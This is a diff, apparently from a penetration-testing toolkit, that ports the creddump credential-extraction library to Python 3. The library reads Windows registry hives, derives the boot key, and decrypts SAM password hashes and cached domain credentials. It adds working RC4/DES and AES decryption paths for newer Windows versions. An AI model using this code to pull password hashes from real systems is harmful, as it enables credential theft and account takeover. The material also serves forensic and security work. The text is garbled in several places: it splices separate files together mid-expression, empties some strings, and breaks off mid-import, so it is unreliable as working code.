Suite 330, Boston, MA 02111-1307 USA +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # """ @@ -25,37 +25,40 @@ @license: GNU General Public License 2.0 or later @contact: awalters@volatilesystems.com @organization: Volatile Systems + +Alias for all address spaces """ -""" Alias for all address spaces """ +# pylint: disable=missing-docstring import os import struct + class FileAddressSpace: def __init__(self, fname, mode='rb', fast=False): self.fname = fname - self.name = fname - self.fhandle = open(fname, mode) + self.name = fname + self.fhandle = open(fname, mode) self.fsize = os.path.getsize(fname) - if fast == True: + if fast: self.fast_fhandle = open(fname, mode) - def fread(self,len): + def fread(self, len): return self.fast_fhandle.read(len) def read(self, addr, len): - self.fhandle.seek(addr) - return self.fhandle.read(len) + self.fhandle.seek(addr) + return self.fhandle.read(len) def read_long(self, addr): string = self.read(addr, 4) - (longval, ) = struct.unpack('L', string) + (longval,) = struct.unpack('L', string) return longval def get_address_range(self): - return [0,self.fsize-1] + return [0, self.fsize - 1] def get_available_addresses(self): return [self.get_address_range()] @@ -63,13 +66,15 @@ class FileAddressSpace: def is_valid_address(self, addr): return addr < self.fsize - 1 - def close(): + def close(self): self.fhandle.close() + # Code below written by Brendan Dolan-Gavitt BLOCK_SIZE = 0x1000 + class HiveFileAddressSpace: def __init__(self, fname): self.fname = fname @@ -80,16 +85,16 @@ class HiveFileAddressSpace: def read(self, vaddr, length, zero=False): first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE - full_blocks = ((length + (vaddr % BLOCK_SIZE)) / BLOCK_SIZE) - 1 + full_blocks = ((length + (vaddr % BLOCK_SIZE)) // BLOCK_SIZE) - 1 left_over = (length + vaddr) % BLOCK_SIZE - + paddr = self.vtop(vaddr) - if paddr == None and zero: + if paddr is None and zero: if length < first_block: return "\0" * length else: stuff_read = "\0" * first_block - elif paddr == None: + elif paddr is None: return None else: if length < first_block: @@ -104,11 +109,11 @@ class HiveFileAddressSpace: stuff_read = "\0" * first_block new_vaddr = vaddr + first_block - for i in range(0,full_blocks): + for __ in range(0, full_blocks): paddr = self.vtop(new_vaddr) - if paddr == None and zero: + if paddr is None and zero: stuff_read = stuff_read + "\0" * BLOCK_SIZE - elif paddr == None: + elif paddr is None: return None else: new_stuff = self.base.read(paddr, BLOCK_SIZE) @@ -122,9 +127,9 @@ class HiveFileAddressSpace: if left_over > 0: paddr = self.vtop(new_vaddr) - if paddr == None and zero: + if paddr is None and zero: stuff_read = stuff_read + "\0" * left_over - elif paddr == None: + elif paddr is None: return None else: stuff_read = stuff_read + self.base.read(paddr, left_over) @@ -132,10 +137,11 @@ class HiveFileAddressSpace: def read_long_phys(self, addr): string = self.base.read(addr, 4) - (longval, ) = struct.unpack('L', string) + (longval,) = struct.unpack('L', string) return longval def is_valid_address(self, vaddr): paddr = self.vtop(vaddr) - if not paddr: return False + if not paddr: + return False return self.base.is_valid_address(paddr) diff --git a/tools/MultiRelay/creddump/framework/newobj.py b/tools/MultiRelay/creddump/framework/newobj.py index 51ae55f..1a28972 100644 --- a/tools/MultiRelay/creddump/framework/newobj.py +++ b/tools/MultiRelay/creddump/framework/newobj.py @@ -19,14 +19,18 @@ @contact: bdolangavitt@wesleyan.edu """ -from framework.object import * -from framework.types import regtypes as types +# pylint: disable=missing-docstring,invalid-name,no-else-return,arguments-differ,unused-argument + from operator import itemgetter from struct import unpack +from framework.object import get_obj_offset, builtin_types, read_value, read_unicode_string, read_string, read_obj +from framework.types import regtypes as types + + def get_ptr_type(structure, member): """Return the type a pointer points to. - + Arguments: structure : the name of the structure from vtypes member : a list of members @@ -43,24 +47,25 @@ def get_ptr_type(structure, member): else: return types[structure][1][member[0]][1][1] + class Obj(object): """Base class for all objects. - + May return a subclass for certain data types to allow for special handling. """ - def __new__(typ, name, address, space): + def __new__(cls, name, address, space): if name in globals(): # This is a bit of "magic" # Could be replaced with a dict mapping type names to types - return globals()[name](name,address,space) + return globals()[name](name, address, space) elif name in builtin_types: return Primitive(name, address, space) else: - obj = object.__new__(typ) + obj = object.__new__(cls) return obj - + def __init__(self, name, address, space): self.name = name self.address = address @@ -70,7 +75,7 @@ class Obj(object): # to show up in values() or members(), even if they do not # appear in the vtype definition self.extra_members = [] - + def __getattribute__(self, attr): try: return object.__getattribute__(self, attr) @@ -84,7 +89,7 @@ class Obj(object): off, tp = get_obj_offset(types, [self.name, attr]) except: raise AttributeError("'%s' has no attribute '%s'" % (self.name, attr)) - + if tp == 'array': a_len = types[self.name][1][attr][1][1] l = [] @@ -92,37 +97,37 @@ class Obj(object): a_off, a_tp = get_obj_offset(types, [self.name, attr, i]) if a_tp == 'pointer': ptp = get_ptr_type(self.name, [attr, i]) - l.append(Pointer(a_tp, self.address+a_off, self.space, ptp)) + l.append(Pointer(a_tp, self.address + a_off, self.space, ptp)) else: - l.append(Obj(a_tp, self.address+a_off, self.space)) + l.append(Obj(a_tp, self.address + a_off, self.space)) return l elif tp == 'pointer': # Can't just return a Obj here, since pointers need to also # know what type they point to. ptp = get_ptr_type(self.name, [attr]) - return Pointer(tp, self.address+off, self.space, ptp) + return Pointer(tp, self.address + off, self.space, ptp) else: - return Obj(tp, self.address+off, self.space) - - def __div__(self, other): - if isinstance(other,tuple) or isinstance(other,list): + return Obj(tp, self.address + off, self.space) + + def __truediv__(self, other): + if isinstance(other, (tuple, list)): return Pointer(other[0], self.address, self.space, other[1]) - elif isinstance(other,str): + elif isinstance(other, str): return Obj(other, self.address, self.space) else: raise ValueError("Must provide a type name as string for casting") - + def members(self): """Return a list of this object's members, sorted by offset.""" # Could also just return the list - membs = [ (k, v[0]) for k,v in types[self.name][1].items()] + membs = [(k, v[0]) for k, v in list(types[self.name][1].items())] membs.sort(key=itemgetter(1)) - return map(itemgetter(0),membs) + self.extra_members + return list(map(itemgetter(0), membs)) + self.extra_members def values(self): """Return a dictionary of this object's members and their values""" - + valdict = {} for k in self.members(): valdict[k] = getattr(self, k) @@ -130,7 +135,7 @@ class Obj(object): def bytes(self, length=-1): """Get bytes starting at the address of this object. - + Arguments: length : the number of bytes to read. Default: size of this object. @@ -147,7 +152,7 @@ class Obj(object): return builtin_types[self.name][0] else: return types[self.name][0] - + def __repr__(self): return "<%s @%08x>" % (self.name, self.address) @@ -168,67 +173,72 @@ class Obj(object): def get_offset(self, member): return get_obj_offset(types, [self.name] + member) + class Primitive(Obj): """Class to represent a primitive data type. - + Attributes: value : the python primitive value of this type """ - def __new__(typ, *args, **kwargs): - obj = object.__new__(typ) + def __new__(cls, *args, **kwargs): + obj = object.__new__(cls) return obj def __init__(self, name, address, space): - super(Primitive,self).__init__(name, address, space) + super(Primitive, self).__init__(name, address, space) length, fmt = builtin_types[name] - data = space.read(address,length) - if not data: self.value = None - else: self.value = unpack(fmt,data)[0] - + data = space.read(address, length) + if not data: + self.value = None + else: + self.value = unpack(fmt, data)[0] + def __repr__(self): return repr(self.value) def members(self): return [] + class Pointer(Obj): """Class to represent pointers. - + value : the object pointed to If an attribute is not found in this instance, the attribute will be looked up in the referenced object.""" - def __new__(typ, *args, **kwargs): - obj = object.__new__(typ) + def __new__(cls, *args, **kwargs): + obj = object.__new__(cls) return obj def __init__(self, name, address, space, ptr_type): - super(Pointer,self).__init__(name, address, space) + super(Pointer, self).__init__(name, address, space) ptr_address = read_value(space, name, address) if ptr_type[0] == 'pointer': self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1]) else: self.value = Obj(ptr_type[0], ptr_address, self.space) - + def __getattribute__(self, attr): # It's still nice to be able to access things through pointers # without having to explicitly dereference them, so if we don't # find an attribute via our superclass, just dereference the pointer # and return the attribute in the pointed-to type. try: - return super(Pointer,self).__getattribute__(attr) + return super(Pointer, self).__getattribute__(attr) except AttributeError: return getattr(self.value, attr) - + def __repr__(self): return "" % (self.value.name, self.value.address) def members(self): return self.value.members() + class _UNICODE_STRING(Obj): """Class representing a _UNICODE_STRING @@ -238,8 +248,8 @@ class _UNICODE_STRING(Obj): * The __str__ method returns the value of the Buffer. """ - def __new__(typ, *args, **kwargs): - obj = object.__new__(typ) + def __new__(cls, *args, **kwargs): + obj = object.__new__(cls) return obj def __str__(self): @@ -248,54 +258,63 @@ class _UNICODE_STRING(Obj): # Custom Attributes def getBuffer(self): return read_unicode_string(self.space, types, [], self.address) + Buffer = property(fget=getBuffer) + class _CM_KEY_NODE(Obj): - def __new__(typ, *args, **kwargs): - obj = object.__new__(typ) + def __new__(cls, *args, **kwargs): + obj = object.__new__(cls) return obj def getName(self): return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'], - self.address, self.NameLength.value) + self.address, self.NameLength.value) + Name = property(fget=getName) + class _CM_KEY_VALUE(Obj): - def __new__(typ, *args, **kwargs): - obj = object.__new__(typ) + def __new__(cls, *args, **kwargs): + obj = object.__new__(cls) return obj def getName(self): return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'], - self.address, self.NameLength.value) + self.address, self.NameLength.value) + Name = property(fget=getName) + class _CHILD_LIST(Obj): - def __new__(typ, *args, **kwargs): - obj = object.__new__(typ) + def __new__(cls, *args, **kwargs): + obj = object.__new__(cls) return obj def getList(self): lst = [] list_address = read_obj(self.space, types, - ['_CHILD_LIST', 'List'], self.address) + ['_CHILD_LIST', 'List'], self.address) for i in range(self.Count.value): - lst.append(Pointer("pointer", list_address+(i*4), self.space, - ["_CM_KEY_VALUE"])) + lst.append(Pointer("pointer", list_address + (i * 4), self.space, + ["_CM_KEY_VALUE"])) return lst + List = property(fget=getList) + class _CM_KEY_INDEX(Obj): - def __new__(typ, *args, **kwargs): - obj = object.__new__(typ) + def __new__(cls, *args, **kwargs): + obj = object.__new__(cls) return obj def getList(self): lst = [] for i in range(self.Count.value): # we are ignoring the hash value here - off,tp = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i*2]) - lst.append(Pointer("pointer", self.address+off, self.space, - ["_CM_KEY_NODE"])) + off, __ = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i * 2]) + lst.append(Pointer("pointer", self.address + off, self.space, + ["_CM_KEY_NODE"])) return lst + List = property(fget=getList) diff --git a/tools/MultiRelay/creddump/framework/object.py b/tools/MultiRelay/creddump/framework/object.py index 8dfff64..d11243d 100644 --- a/tools/MultiRelay/creddump/framework/object.py +++ b/tools/MultiRelay/creddump/framework/object.py @@ -9,13 +9,15 @@ # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. +# General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # +# pylint: disable=invalid-name,missing-docstring + """ @author: AAron Walters and Nick Petroni @license: GNU General Public License 2.0 or later @@ -25,59 +27,61 @@ import struct -builtin_types = { \ - 'int' : (4, 'i'), \ - 'long': (4, 'i'), \ - 'unsigned long' : (4, 'I'), \ - 'unsigned int' : (4, 'I'), \ - 'address' : (4, 'I'), \ - 'char' : (1, 'c'), \ - 'unsigned char' : (1, 'B'), \ - 'unsigned short' : (2, 'H'), \ - 'short' : (2, 'h'), \ - 'long long' : (8, 'q'), \ - 'unsigned long long' : (8, 'Q'), \ - 'pointer' : (4, 'I'),\ - } +builtin_types = { + 'int': (4, 'i'), + 'long': (4, 'i'), + 'unsigned long': (4, 'I'), + 'unsigned int': (4, 'I'), + 'address': (4, 'I'), + 'char': (1, 'c'), + 'unsigned char': (1, 'B'), + 'unsigned short': (2, 'H'), + 'short': (2, 'h'), + 'long long': (8, 'q'), + 'unsigned long long': (8, 'Q'), + 'pointer': (4, 'I'), +} def obj_size(types, objname): - if not types.has_key(objname): + if objname not in types: raise Exception('Invalid type %s not in types' % (objname)) return types[objname][0] + def builtin_size(builtin): - if not builtin_types.has_key(builtin): + if builtin not in builtin_types: raise Exception('Invalid built-in type %s' % (builtin)) return builtin_types[builtin][0] + def read_value(addr_space, value_type, vaddr): """ - Read the low-level value for a built-in type. + Read the low-level value for a built-in type. """ - if not builtin_types.has_key(value_type): + if value_type not in builtin_types: raise Exception('Invalid built-in type %s' % (value_type)) type_unpack_char = builtin_types[value_type][1] - type_size = builtin_types[value_type][0] + type_size = builtin_types[value_type][0] buf = addr_space.read(vaddr, type_size) if buf is None: return None - (val, ) = struct.unpack(type_unpack_char, buf) + (val,) = struct.unpack(type_unpack_char, buf) return val + def read_unicode_string(addr_space, types, member_list, vaddr): offset = 0 if len(member_list) > 1: - (offset, current_type) = get_obj_offset(types, member_list) + (offset, __) = get_obj_offset(types, member_list) - - buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset) + buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset) length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset) if length == 0x0: @@ -90,23 +94,24 @@ def read_unicode_string(addr_space, types, member_list, vaddr): if readBuf is None: return None - + try: readBuf = readBuf.decode('UTF-16').encode('ascii') - except: + except Exception: # pylint: disable=broad-except return None - + return readBuf + def read_string(addr_space, types, member_list, vaddr, max_length=256): offset = 0 if len(member_list) > 1: - (offset, current_type) = get_obj_offset(types, member_list) + (offset, __) = get_obj_offset(types, member_list) val = addr_space.read(vaddr + offset, max_length) - return val - + return val + def read_null_string(addr_space, types, member_list, vaddr, max_length=256): string = read_string(addr_space, types, member_list, vaddr, max_length) @@ -114,11 +119,8 @@ def read_null_string(addr_space, types, member_list, vaddr, max_length=256): if string is None: return None - if (string.find('\0') == -1): - return string - (string, none) = string.split('\0', 1) - return string - + return string.split('\0', 1)[0] + def get_obj_offset(types, member_list): """ @@ -130,7 +132,7 @@ def get_obj_offset(types, member_list): offset = 0 - while (len(member_list) > 0): + while member_list: if current_type == 'array': current_type = member_dict[current_member][1][2][0] if current_type in builtin_types: @@ -140,14 +142,14 @@ def get_obj_offset(types, member_list): index = member_list.pop() offset += index * current_type_size continue - - elif not types.has_key(current_type): + + elif current_type not in types: raise Exception('Invalid type ' + current_type) - + member_dict = types[current_type][1] - + current_member = member_list.pop() - if not member_dict.has_key(current_member): + if current_member not in member_dict: raise Exception('Invalid member %s in type %s' % (current_member, current_type)) offset += member_dict[current_member][0] @@ -164,8 +166,6 @@ def read_obj(addr_space, types, member_list, vaddr): """ if len(member_list) < 2: raise Exception('Invalid type/member ' + str(member_list)) - - (offset, current_type) = get_obj_offset(types, member_list) return read_value(addr_space, current_type, vaddr + offset) diff --git a/tools/MultiRelay/creddump/framework/types.py b/tools/MultiRelay/creddump/framework/types.py index 873e555..cbf8b4f 100644 --- a/tools/MultiRelay/creddump/framework/types.py +++ b/tools/MultiRelay/creddump/framework/types.py @@ -13,6 +13,8 @@ # You should have received a copy of the GNU General Public License # along with creddump. If not, see . +# pylint: disable=invalid-name + """ @author: Brendan Dolan-Gavitt @license: GNU General Public License 2.0 or later @@ -20,44 +22,44 @@ """ regtypes = { - '_CM_KEY_VALUE' : [ 0x18, { - 'Signature' : [ 0x0, ['unsigned short']], - 'NameLength' : [ 0x2, ['unsigned short']], - 'DataLength' : [ 0x4, ['unsigned long']], - 'Data' : [ 0x8, ['unsigned long']], - 'Type' : [ 0xc, ['unsigned long']], - 'Flags' : [ 0x10, ['unsigned short']], - 'Spare' : [ 0x12, ['unsigned short']], - 'Name' : [ 0x14, ['array', 1, ['unsigned short']]], -} ], - '_CM_KEY_NODE' : [ 0x50, { - 'Signature' : [ 0x0, ['unsigned short']], - 'Flags' : [ 0x2, ['unsigned short']], - 'LastWriteTime' : [ 0x4, ['_LARGE_INTEGER']], - 'Spare' : [ 0xc, ['unsigned long']], - 'Parent' : [ 0x10, ['unsigned long']], - 'SubKeyCounts' : [ 0x14, ['array', 2, ['unsigned long']]], - 'SubKeyLists' : [ 0x1c, ['array', 2, ['unsigned long']]], - 'ValueList' : [ 0x24, ['_CHILD_LIST']], - 'ChildHiveReference' : [ 0x1c, ['_CM_KEY_REFERENCE']], - 'Security' : [ 0x2c, ['unsigned long']], - 'Class' : [ 0x30, ['unsigned long']], - 'MaxNameLen' : [ 0x34, ['unsigned long']], - 'MaxClassLen' : [ 0x38, ['unsigned long']], - 'MaxValueNameLen' : [ 0x3c, ['unsigned long']], - 'MaxValueDataLen' : [ 0x40, ['unsigned long']], - 'WorkVar' : [ 0x44, ['unsigned long']], - 'NameLength' : [ 0x48, ['unsigned short']], - 'ClassLength' : [ 0x4a, ['unsigned short']], - 'Name' : [ 0x4c, ['array', 1, ['unsigned short']]], -} ], - '_CM_KEY_INDEX' : [ 0x8, { - 'Signature' : [ 0x0, ['unsigned short']], - 'Count' : [ 0x2, ['unsigned short']], - 'List' : [ 0x4, ['array', 1, ['unsigned long']]], -} ], - '_CHILD_LIST' : [ 0x8, { - 'Count' : [ 0x0, ['unsigned long']], - 'List' : [ 0x4, ['unsigned long']], -} ], + '_CM_KEY_VALUE': [0x18, { + 'Signature': [0x0, ['unsigned short']], + 'NameLength': [0x2, ['unsigned short']], + 'DataLength': [0x4, ['unsigned long']], + 'Data': [0x8, ['unsigned long']], + 'Type': [0xc, ['unsigned long']], + 'Flags': [0x10, ['unsigned short']], + 'Spare': [0x12, ['unsigned short']], + 'Name': [0x14, ['array', 1, ['unsigned short']]], + }], + '_CM_KEY_NODE': [0x50, { + 'Signature': [0x0, ['unsigned short']], + 'Flags': [0x2, ['unsigned short']], + 'LastWriteTime': [0x4, ['_LARGE_INTEGER']], + 'Spare': [0xc, ['unsigned long']], + 'Parent': [0x10, ['unsigned long']], + 'SubKeyCounts': [0x14, ['array', 2, ['unsigned long']]], + 'SubKeyLists': [0x1c, ['array', 2, ['unsigned long']]], + 'ValueList': [0x24, ['_CHILD_LIST']], + 'ChildHiveReference': [0x1c, ['_CM_KEY_REFERENCE']], + 'Security': [0x2c, ['unsigned long']], + 'Class': [0x30, ['unsigned long']], + 'MaxNameLen': [0x34, ['unsigned long']], + 'MaxClassLen': [0x38, ['unsigned long']], + 'MaxValueNameLen': [0x3c, ['unsigned long']], + 'MaxValueDataLen': [0x40, ['unsigned long']], + 'WorkVar': [0x44, ['unsigned long']], + 'NameLength': [0x48, ['unsigned short']], + 'ClassLength': [0x4a, ['unsigned short']], + 'Name': [0x4c, ['array', 1, ['unsigned short']]], + }], + '_CM_KEY_INDEX': [0x8, { + 'Signature': [0x0, ['unsigned short']], + 'Count': [0x2, ['unsigned short']], + 'List': [0x4, ['array', 1, ['unsigned long']]], + }], + '_CHILD_LIST': [0x8, { + 'Count': [0x0, ['unsigned long']], + 'List': [0x4, ['unsigned long']], + }], } diff --git a/tools/MultiRelay/creddump/framework/win32/domcachedump.py b/tools/MultiRelay/creddump/framework/win32/domcachedump.py index 37d0314..542ce41 100644 --- a/tools/MultiRelay/creddump/framework/win32/domcachedump.py +++ b/tools/MultiRelay/creddump/framework/win32/domcachedump.py @@ -21,14 +21,14 @@ from framework.win32.rawreg import * from framework.addrspace import HiveFileAddressSpace -#from framework.win32.hashdump import get_bootkey +from framework.win32.hashdump import get_bootkey from framework.win32.lsasecrets import get_secret_by_name,get_lsa_key from Crypto.Hash import HMAC -from Crypto.Cipher import ARC4 +from Crypto.Cipher import ARC4, AES from struct import unpack -def get_nlkm(secaddr, lsakey): - return get_secret_by_name(secaddr, 'NL$KM', lsakey) +def get_nlkm(secaddr, lsakey, vista): + return get_secret_by_name(secaddr, 'NL$KM', lsakey, vista) def decrypt_hash(edata, nlkm, ch): hmac_md5 = HMAC.new(nlkm,ch) @@ -38,6 +38,21 @@ def decrypt_hash(edata, nlkm, ch): data = rc4.encrypt(edata) return data +def decrypt_hash_vista(edata, nlkm, ch): + """ + Based on code from http://lab.mediaservice.net/code/cachedump.rb + """ + aes = AES.new(nlkm[16:32], AES.MODE_CBC, ch) + + out = bytearray() + for i in range(0, len(edata), 16): + buf = edata[i : i+16] + if len(buf) < 16: + buf += (16 - len(buf)) * b"\00" + + out += aes.decrypt(buf) + return out + def parse_cache_entry(cache_data): (uname_len, domain_len) = unpack(". +# pylint: disable=invalid-name,missing-docstring + """ @author: Brendan Dolan-Gavitt @license: GNU General Public License 2.0 or later @contact: bdolangavitt@wesleyan.edu """ -from framework.win32.rawreg import * +from struct import unpack, pack +import binascii + +from Crypto.Hash import MD5 +from Crypto.Cipher import ARC4, DES, AES + +from framework.win32.rawreg import get_root, open_key, values, subkeys from framework.addrspace import HiveFileAddressSpace -try: - from Crypto.Hash import MD5 - from Crypto.Cipher import ARC4,DES -except ImportError: - pass -from struct import unpack,pack odd_parity = [ - 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, - 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, - 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, - 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, - 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, - 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, - 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, - 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, - 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, - 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, - 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, - 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, - 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, - 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, - 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, - 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 + 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, + 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, + 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, + 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, + 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, + 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, + 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110, 110, + 112, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122, 122, 124, 124, 127, 127, + 128, 128, 131, 131, 133, 133, 134, 134, 137, 137, 138, 138, 140, 140, 143, 143, + 145, 145, 146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158, + 161, 161, 162, 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174, + 176, 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, 191, + 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, 205, 206, 206, + 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, 218, 220, 220, 223, 223, + 224, 224, 227, 227, 229, 229, 230, 230, 233, 233, 234, 234, 236, 236, 239, 239, + 241, 241, 242, 242, 244, 244, 247, 247, 248, 248, 251, 251, 253, 253, 254, 254 ] # Permutation matrix for boot key -p = [ 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, - 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 ] +p = [0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, + 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7] # Constants for SAM decrypt algorithm -aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" -anum = "0123456789012345678901234567890123456789\0" -antpassword = "NTPASSWORD\0" -almpassword = "LMPASSWORD\0" +aqwerty = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" +anum = b"0123456789012345678901234567890123456789\0" +antpassword = b"NTPASSWORD\0" +almpassword = b"LMPASSWORD\0" + +empty_lm = binascii.unhexlify("aad3b435b51404eeaad3b435b51404ee") +empty_nt = binascii.unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0") -empty_lm = "aad3b435b51404eeaad3b435b51404ee".decode('hex') -empty_nt = "31d6cfe0d16ae931b73c59d7e0c089c0".decode('hex') def str_to_key(s): - key = [] - key.append( ord(s[0])>>1 ) - key.append( ((ord(s[0])&0x01)<<6) | (ord(s[1])>>2) ) - key.append( ((ord(s[1])&0x03)<<5) | (ord(s[2])>>3) ) - key.append( ((ord(s[2])&0x07)<<4) | (ord(s[3])>>4) ) - key.append( ((ord(s[3])&0x0F)<<3) | (ord(s[4])>>5) ) - key.append( ((ord(s[4])&0x1F)<<2) | (ord(s[5])>>6) ) - key.append( ((ord(s[5])&0x3F)<<1) | (ord(s[6])>>7) ) - key.append( ord(s[6])&0x7F ) + key = bytearray() + key.append(s[0] >> 1) + key.append(((s[0] & 0x01) << 6) | ((s[1]) >> 2)) + key.append(((s[1] & 0x03) << 5) | ((s[2]) >> 3)) + key.append(((s[2] & 0x07) << 4) | ((s[3]) >> 4)) + key.append(((s[3] & 0x0F) << 3) | ((s[4]) >> 5)) + key.append(((s[4] & 0x1F) << 2) | ((s[5]) >> 6)) + key.append(((s[5] & 0x3F) << 1) | ((s[6]) >> 7)) + key.append(s[6] & 0x7F) for i in range(8): - key[i] = (key[i]<<1) + key[i] = (key[i] << 1) key[i] = odd_parity[key[i]] - return "".join(chr(k) for k in key) + return key + def sid_to_key(sid): - s1 = "" - s1 += chr(sid & 0xFF) - s1 += chr((sid>>8) & 0xFF) - s1 += chr((sid>>16) & 0xFF) - s1 += chr((sid>>24) & 0xFF) - s1 += s1[0]; - s1 += s1[1]; - s1 += s1[2]; - s2 = s1[3] + s1[0] + s1[1] + s1[2] - s2 += s2[0] + s2[1] + s2[2] + s1 = bytearray() + s1.append(sid & 0xFF) + s1.append((sid >> 8) & 0xFF) + s1.append((sid >> 16) & 0xFF) + s1.append((sid >> 24) & 0xFF) + s1.append(s1[0]) + s1.append(s1[1]) + s1.append(s1[2]) + s2 = bytearray([s1[3], s1[0], s1[1], s1[2]]) + s2.append(s2[0]) + s2.append(s2[1]) + s2.append(s2[2]) + + return str_to_key(s1), str_to_key(s2) + - return str_to_key(s1),str_to_key(s2) - def find_control_set(sysaddr): root = get_root(sysaddr) if not root: @@ -99,122 +106,206 @@ def find_control_set(sysaddr): return 1 for v in values(csselect): - if v.Name == "Current": return v.Data.value + if v.Name == b"Current": + return v.Data.value + + return 1 + + +def get_bootkey(sysaddr): + cs = find_control_set(sysaddr) + lsa_base = ["ControlSet%03d" % cs, "Control", "Lsa"] + lsa_keys = ["JD", "Skew1", "GBG", "Data"] + + root = get_root(sysaddr) + if not root: + return None + + lsa = open_key(root, lsa_base) + if not lsa: + return None + + bootkey = [] + + for lk in lsa_keys: + key = open_key(lsa, [lk]) + class_data = sysaddr.read(key.Class.value, key.ClassLength.value) + hex_string = class_data.decode('utf-16-le') + hex_data = binascii.unhexlify(hex_string) + for h in hex_data: + bootkey.append(h) + + bootkey_scrambled = [] + for i in range(len(bootkey)): + bootkey_scrambled.append(bootkey[p[i]]) + + return bytes(bootkey_scrambled) + def get_hbootkey(samaddr, bootkey): sam_account_path = ["SAM", "Domains", "Account"] root = get_root(samaddr) - if not root: return None + if not root: + return None sam_account_key = open_key(root, sam_account_path) - if not sam_account_key: return None + if not sam_account_key: + return None F = None for v in values(sam_account_key): - if v.Name == 'F': + if v.Name == b'F': F = samaddr.read(v.Data.value, v.DataLength.value) - if not F: return None + if not F: + return None - md5 = MD5.new() - md5.update(F[0x70:0x80] + aqwerty + bootkey + anum) - rc4_key = md5.digest() + revision = F[0x00] + if revision == 2: + md5 = MD5.new() + md5.update(F[0x70:0x80] + aqwerty + bootkey + anum) + rc4_key = md5.digest() - rc4 = ARC4.new(rc4_key) - hbootkey = rc4.encrypt(F[0x80:0xA0]) - - return hbootkey + rc4 = ARC4.new(rc4_key) + hbootkey = rc4.encrypt(F[0x80:0xA0]) + + return hbootkey + + if revision == 3: + iv = F[0x78:0x88] + encryptedHBootKey = F[0x88:0xA8] + cipher = AES.new(bootkey, AES.MODE_CBC, iv) + hbootkey = cipher.decrypt(encryptedHBootKey) + + return hbootkey[:16] + + print("Unknown revision: %d" % revision) + return None def get_user_keys(samaddr): user_key_path = ["SAM", "Domains", "Account", "Users"] root = get_root(samaddr) - if not root: return [] + if not root: + return [] user_key = open_key(root, user_key_path) - if not user_key: return [] + if not user_key: + return [] + + return [k for k in subkeys(user_key) if k.Name != b"Names"] - return [k for k in subkeys(user_key) if k.Name != "Names"] def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr): - (des_k1,des_k2) = sid_to_key(rid) + if enc_hash == "": + return "" + (des_k1, des_k2) = sid_to_key(rid) d1 = DES.new(des_k1, DES.MODE_ECB) d2 = DES.new(des_k2, DES.MODE_ECB) - md5 = MD5.new() - md5.update(hbootkey[:0x10] + pack(". +# pylint: disable=missing-docstring + """ @author: Brendan Dolan-Gavitt @license: GNU General Public License 2.0 or later @contact: bdolangavitt@wesleyan.edu """ -from framework.win32.rawreg import * -from framework.addrspace import HiveFileAddressSpace -#from framework.win32.hashdump import get_bootkey,str_to_key -from Crypto.Hash import MD5 -from Crypto.Cipher import ARC4,DES +from Crypto.Hash import MD5, SHA256 +from Crypto.Cipher import ARC4, DES, 